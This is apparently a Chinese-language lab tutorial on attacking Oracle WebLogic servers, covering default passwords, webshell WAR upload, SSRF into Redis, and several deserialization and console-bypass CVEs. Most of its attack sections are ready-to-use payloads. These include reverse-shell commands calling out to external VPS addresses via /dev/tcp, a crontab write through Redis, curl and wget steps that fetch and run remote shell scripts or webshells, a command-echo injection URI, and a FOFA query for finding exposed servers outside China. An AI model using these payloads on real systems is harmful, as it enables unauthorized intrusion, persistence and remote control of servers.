一、WebLogic简介
WebLogic Server是美国甲骨文( Oracle)公司开发的一款适用于云环境和传统环境的应用服务中间件,确切的说是一个基于 JavaEE架构的中间件,它提供了一个现代轻型开发平台,用于开发、集成、部署 和管理大型分布式Web应用、网络应用和数据库应用的 Java应用服务器。将 Java的动态功能和 Java Enterprise标准的安全性引入大型网络应用的开发、集成、部署和管理之中。
可以说是应用服务器
二、Weblogic特征
默认端口:7001
Web界面:Error 404 — Not Found
控制后台:http://ip:7001/console

三、Weblogic历史漏洞
漏洞主要影响版本:
- Weblogic 10.3.6.0
- Weblogic 12.1.3.0
- Weblogic 12.2.1.1
- Weblogic 12.2.1.2
- Weblogic 12.2.1.3
- Weblogic 14.1.1.0
| 漏洞类型 | CVE编号 |
|---|---|
| SSRF | CVE-2014-4210 |
| 任意文件上传 | CVE-2018-2894 |
| XMLDecoder反序列化 | CVE-2017-3506 |
| CVE-2017-10271 | |
| CVE-2019-2725 | |
| CVE-2019-2729 | |
| Java反序列化 | CVE-2015-4852 |
| CVE-2016-0638 | |
| CVE-2016-3510 | |
| CVE-2017-3248 | |
| CVE-2018-2628 | |
| CVE-2018-2893 | |
| CVE-2020-2890 | |
| CVE-2020-2555 | |
| CVE-2020-14645 | |
| CVE-2020-14756 | |
| CVE-2021-2109 | |
| 弱口令 | Weblogic |
| Oracle@123 |
四、Weblogic历史漏洞发现
1.获取资产
- shodan、fofa、zoomeye等
fofa:app="BEA-WebLogic-Server" && country!="CN"
- 默认端口:7001
2.批量扫描脚本

五、Weblogic历史漏洞利用
1.WeakPassword
1)Weblogic弱口令
访问路径:/console
账号:weblogic
密码:Oracle@123
Weblogic 默认口令:
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
2)jar命令打包war包
jar 命令是 Java 提供的一个用于创建 Java Archive (JAR) 文件的工具。
在 Java Web 应用开发中
- JAR 文件通常用于打包类文件、资源文件、配置文件等,通常用于库文件或独立应用程序。
- WAR文件用于打包 Java Web 应用程序,包含 Servlet、JSP、HTML、CSS、JavaScript 等文件,用于分发和部署 Java Web 应用程序。需要部署到支持 Java EE 的应用服务器(如 Tomcat、WebLogic)中运行。
jar -cvf cmd.war cmd.jsp
3)上传war包
-
登录后台,选择部署,点击安装,

-
点击上载文件

-
进入如下页面,选择文件,上传war包

-
选择 下一步

-
选择下一步,下一步,选择完成,war包已经部署


4)访问WebShell
weblogic会把war包解压到war包名称的目录下
- 访问如下 url 即可getshell:
http://daed406793eb.target.yijinglab.com/cmd/cmd.jsp

注意:这里的 cmd.jsp文件只是用于接收命令并执行,无法直接通过 WebShell管理工具连接
- 蚁剑连接 Webshell
使用 jsp4ant.jsp 脚本文件打包生成war包,然后按照上述步骤上传部署,即可使用AntSword蚁剑连接 Webshell地址: http://ffe0bdb18d9e.target.yijinglab.com/jsp4ant/jsp4ant.jsp
连接密码:ant

2.CVE-2014-4210
1)漏洞简介
Weblogic 中存在一个服务器端请求伪造(SSRF)漏洞 ,SSRF 允许攻击者通过服务器向任意服务器发送 请求,这可能被用来攻击内部网络中的服务,比如 Redis、Fastcgi 等。
漏洞产生于 /uddiexplorer/SearchPublicRegistries.jsp 页面中

2)漏洞测试
(1)打开BurpSuite抓包,按如下方式操作并抓包

(2)抓取到如下请求数据包

可以发现该数据包会向www.3.ibn.com发送请求,这就导致会发生SSRF漏洞
(3)进行SSRF漏洞测试
将请求网站改为127.0.0.1:7001

因为目标是Weblogic服务,让Weblogic像本地主机的7001端口发送请求,也就相当于是直接访问 10.34.126.129:7001,那么本身就是会返回 404 Not found,那么说明这里是存在SSRF漏洞的
3)内网主机存活探测
-
随机访问一个端口则会显示 could not connect :

-
一个非http的协议则会返回did not have a valid SOAP

-
不存活的主机就是 No route to host
不存在ip为10.34.126.129的主机
内网存活探测脚本

4)SSRF攻击内网Redis
- 构造payload写定时任务
http://172.28.0.2:6379/test
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa
-
http://172.28.0.2:6379/test: 172.28.0.2:6379为开启redis服务的内网IP
-
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c ‘bash -i >& /dev/tcp/124.71.45.28/1234 0>&1’\n\n\n\n":表示在任意时间以root用户执行反弹shell
-
config set dir /etc/:/etc/ 目录下包含许多重要的系统配置文件,通过将恶意的 crontab 文件写入 /etc/ 目录下,攻击者可以更好地隐藏或伪装成系统配置的修改,从而达到持久化控制服务器的目的。
-
config set dbfilename crontab:Crontab文件用于设置周期性被执行的任务,即定时任务。在Linux系统中,通过编辑crontab文件,可以安排命令或者脚本在特定的时间、日期或者间隔周期自动执行。
- URL编码
http%3A//172.28.0.2%3A6379/test%0A%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0-59%200-23%201-31%201-12%200-6%20root%20bash%20-c%20%27bash%20-i%20%3E%26%20/dev/tcp/124.71.45.28/1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0Aconfig%20set%20dir%20/etc/%0Aconfig%20set%20dbfilename%20crontab%0Asave%0A%0Aaaa
-
构造请求发送

-
VPS监听端口,成功得到shell
nc -lnvp 1234
3.CVE-2018-2894
WebLogic未授权任意文件上传
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意 jsp 文件,进而获取服务器权限。
Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。
1)影响范围
- 10.3.6.0
- 12.1.3.0
- 12.2.1.2
- 12.2.1.3
2)影响页面
该漏洞的影响模块为web服务测试页,在默认情况下不启用。
- /ws_utc/config.do
- /ws_utc/begin.do

3)漏洞复现
(1)访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
点击提交,将目录设置为 ws_utc应用的静态文件css目录,访问这个目录是无需权限的,这一点很重要。
(2)点击安全,添加,在Keystore文件处,上传Webshell,提交,在响应中会返回时间戳:

(3)访问Webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
http://4cc59beaa896.target.yijinglab.com/ws_utc/css/config/keystore/1718784802929_cmd.jsp

4)漏洞利用
- 漏洞利用脚本
python CVE-2018-2894.py -t http://4cc59beaa896.target.yijinglab.com

默认是冰蝎3 behinder 默认的 JSP webshell
连接密码:rebeyond
4.CVE-2019-2725
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意 求,利用该漏洞获取服务器权限,实现远程代码执行
1)漏洞描述
Weblogic反序列化远程代码执行漏洞:
- CNVD-C-2019-48814
- CVE-2019-2725 HTTP
由于在反序列化处理输入信息的过程中存在缺陷,未经授权的攻击者可以发送精心构造的恶意HTTP请求,利用该漏洞获取服务器权限,实现远程代码执行。
2)影响版本
- Oracle WebLogic Server 10.*
- Oracle WebLogic Server 12.1.3
3)影响组件
- bea_wls9_async_response.war
- wsat.war
4)漏洞判断
判断不安全组件是否开启
通过访问路径 /_async/AsyncResponseService 判断对应组件是否开启
wls9_async_response.war包中的类由于使用注解方法调用了Weblogic原生处理Web服务的类,因此会 受该漏洞影响
5)漏洞利用
- 漏洞利用脚本
利用漏洞执行命令
python CVE-2019-2725.py 10.3.6 http://888b05b70edd.target.yijinglab.com/ whoami

利用漏洞上传webshell
python CVE-2019-2725.py 10.3.6 http://888b05b70edd.target.yijinglab.com/

http://72262c7cbbcc.target.yijinglab.com/bea_wls_internal/demo.jsp?pwd=admin&cmd=whoami

- shell上传路径
# linux
/root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war
# windows
C:\Oracle\Middleware\Oracle_Home\user_projects\domains\base_domain\servers\AdminServer\tmp\_WL_internal\bea_wls_internal\9j4dqk\war
- 利用命令执行写冰蝎Webshell
python -m http.server

http://72262c7cbbcc.target.yijinglab.com/bea_wls_internal/demo.jsp?pwd=admin&cmd=wget http://124.71.45.28:8000/bx3.jsp -O /root/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/bx.jsp

冰蝎连接webshell:
Webshell地址:http://72262c7cbbcc.target.yijinglab.com/bea_wls_internal/bx.jsp
连接密码:rebeyond
5.CVE-2020-14882
1)漏洞描述
Weblogic 管理控制台未授权远程命令执行漏洞
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程 Weblogic服务器上以未授权的任意用户身份执行命令
2)影响范围
WebLogic 10.3.6.0
WebLogic 12.1.3.0
WebLogic 12.2.1.3
WebLogic 12.2.1.4
WebLogic 14.1.1.0
3)漏洞复现
(1)CVE-2020-14882
- 判断是否存在CVE-2020-14882未授权访问漏洞
%252e%252e%252f进行双重编码–> ../
http://14ab0d0ff5bf.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal

(2)CVE-2020-14883
允许后台任意用户通过HTTP协议执行任意命令
这个漏洞的利用方式有两种:
- 通过 com.tangosol.coherence.mvel2.sh.ShellSession
- 执行命令
http://16069f24c987.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%2028i3.callback.red');")

这个利用方法只能在 Weblogic 12.2.1以上版本利用,因为 10.3.6并不存在 com.tangosol.coherence.mvel2.sh.ShellSession 类
- 反弹shell
创建shell.sh文件
echo "/bin/bash -i >& /dev/tcp/124.71.45.28/2233 0>&1" > shell.sh
开启http服务
python -m http.server

发送http请求在vps上下载反弹shell
http://16069f24c987.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('curl%20http://120.79.150.243:8000/shell.sh%20-o%20/tmp/shell.sh');")

执行吗命令,将反弹shell反弹到vps上
http://16069f24c987.target.yijinglab.com/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('bash%20/tmp/shell.sh');")

成功得到反弹shell

- 命令回显
请求URI:
/console/css/%25%32%65%25%32%65%25%32%66consolejndi.portal?test_handle=com.tangosol.coherence.mvel2.sh.ShellSession('weblogic.work.ExecuteThread%20currentThread%20=%20(weblogic.work.ExecuteThread)Thread.currentThread();%20weblogic.work.WorkAdapter%20adapter%20=%20currentThread.getCurrentWork();%20java.lang.reflect.Field%20field%20=%20adapter.getClass().getDeclaredField(%22connectionHandler%22);field.setAccessible(true);Object%20obj%20=%20field.get(adapter);weblogic.servlet.internal.ServletRequestImpl%20req%20=%20(weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(%22getServletRequest%22).invoke(obj);%20String%20cmd%20=%20req.getHeader(%22cmd%22);String%5B%5D%20cmds%20=%20System.getProperty(%22os.name%22).toLowerCase().contains(%22window%22)%20?%20new%20String%5B%5D%7B%22cmd.exe%22,%20%22/c%22,%20cmd%7D%20:%20new%20String%5B%5D%7B%22/bin/sh%22,%20%22-c%22,%20cmd%7D;if(cmd%20!=%20null%20)%7B%20String%20result%20=%20new%20java.util.Scanner(new%20java.lang.ProcessBuilder(cmds).start().getInputStream()).useDelimiter(%22%255C%255CA%22).next();%20weblogic.servlet.internal.ServletResponseImpl%20res%20=%20(weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(%22getResponse%22).invoke(req);res.getServletOutputStream().writeStream(new%20weblogic.xml.util.StringInputStream(result));res.getServletOutputStream().flush();%7D%20currentThread.interrupt();')
添加cmd请求头
cmd: whoami

- 通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
- [windows] WebLogic Server 版本: 10.3.6.0
cmd-calc.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>cmd</value>
<value>/c</value>
<value><![CDATA[calc.exe]]></value>
</list>
</constructor-arg>
</bean>
</beans>
GET方法:
http://192.168.78.105:7001/console/..%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://139.155.49.43:8000/cmd.xml")
POST方法:
url:
http://192.168.78.105:7001/console/css/%252e%252e%252fconsole.portal
body:
_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.ClassPathXmlApplicationContext("http://139.155.49.43:8000/cmd.xml")
此方法要用到cs,只需了解即可
详细信息可在原件中查看
